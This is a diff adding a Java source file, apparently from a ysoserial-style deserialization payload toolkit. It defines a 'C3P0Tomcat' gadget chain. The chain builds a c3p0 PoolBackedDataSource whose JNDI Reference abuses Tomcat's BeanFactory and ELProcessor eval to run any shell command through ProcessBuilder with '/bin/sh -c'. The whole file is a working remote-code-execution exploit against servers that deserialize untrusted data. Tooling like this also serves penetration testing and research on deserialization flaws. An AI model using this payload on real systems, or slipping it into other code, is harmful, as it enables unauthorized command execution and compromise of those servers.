|
| 1 | +package payloads; |
| 2 | + |
| 3 | + |
| 4 | +import com.mchange.v2.c3p0.PoolBackedDataSource; |
| 5 | +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; |
| 6 | +import org.apache.naming.ResourceRef; |
| 7 | +import payloads.annotation.Authors; |
| 8 | +import payloads.annotation.Dependencies; |
| 9 | +import util.PayloadRunner; |
| 10 | +import util.Reflections; |
| 11 | + |
| 12 | +import javax.naming.NamingException; |
| 13 | +import javax.naming.Reference; |
| 14 | +import javax.naming.Referenceable; |
| 15 | +import javax.naming.StringRefAddr; |
| 16 | +import javax.sql.ConnectionPoolDataSource; |
| 17 | +import javax.sql.PooledConnection; |
| 18 | +import java.io.PrintWriter; |
| 19 | +import java.sql.SQLException; |
| 20 | +import java.sql.SQLFeatureNotSupportedException; |
| 21 | +import java.util.logging.Logger; |
| 22 | + |
| 23 | + |
| 24 | +/** |
| 25 | + * |
| 26 | + * @author yulegeyu |
| 27 | + * |
| 28 | + */ |
| 29 | +@Dependencies( { "tomcat", "com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"} ) |
| 30 | +@Authors({ Authors.YULEGEYU }) |
| 31 | +public class C3P0Tomcat implements ObjectPayload<Object> { |
| 32 | + public Object getObject ( String command ) throws Exception { |
| 33 | + |
| 34 | + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); |
| 35 | + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource("org.apache.naming.factory.BeanFactory", null, command)); |
| 36 | + return b; |
| 37 | + } |
| 38 | + |
| 39 | + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { |
| 40 | + |
| 41 | + private String className; |
| 42 | + private String url; |
| 43 | + private String command; |
| 44 | + |
| 45 | + public PoolSource ( String className, String url, String command ) { |
| 46 | + this.className = className; |
| 47 | + this.url = url; |
| 48 | + this.command = command; |
| 49 | + } |
| 50 | + |
| 51 | + public Reference getReference () throws NamingException { |
| 52 | + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); |
| 53 | + ref.add(new StringRefAddr("forceString", "x=eval")); |
| 54 | + String cmd = this.command; |
| 55 | + ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','"+ cmd +"']).start()\")")); |
| 56 | + return ref; |
| 57 | + } |
| 58 | + |
| 59 | + public PrintWriter getLogWriter () throws SQLException {return null;} |
| 60 | + public void setLogWriter ( PrintWriter out ) throws SQLException {} |
| 61 | + public void setLoginTimeout ( int seconds ) throws SQLException {} |
| 62 | + public int getLoginTimeout () throws SQLException {return 0;} |
| 63 | + public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;} |
| 64 | + public PooledConnection getPooledConnection () throws SQLException {return null;} |
| 65 | + public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;} |
| 66 | + |
| 67 | + } |
| 68 | + |
| 69 | + public static byte[] getBytes ( final String command ) throws Exception { |
| 70 | + return PayloadRunner.run(C3P0Tomcat.class, command); |
| 71 | + } |
| 72 | + |
| 73 | + public static void main ( final String command ) throws Exception { |
| 74 | + PayloadRunner.run(C3P0Tomcat.class, command); |
| 75 | + } |
| 76 | + |
| 77 | +} |
0 commit comments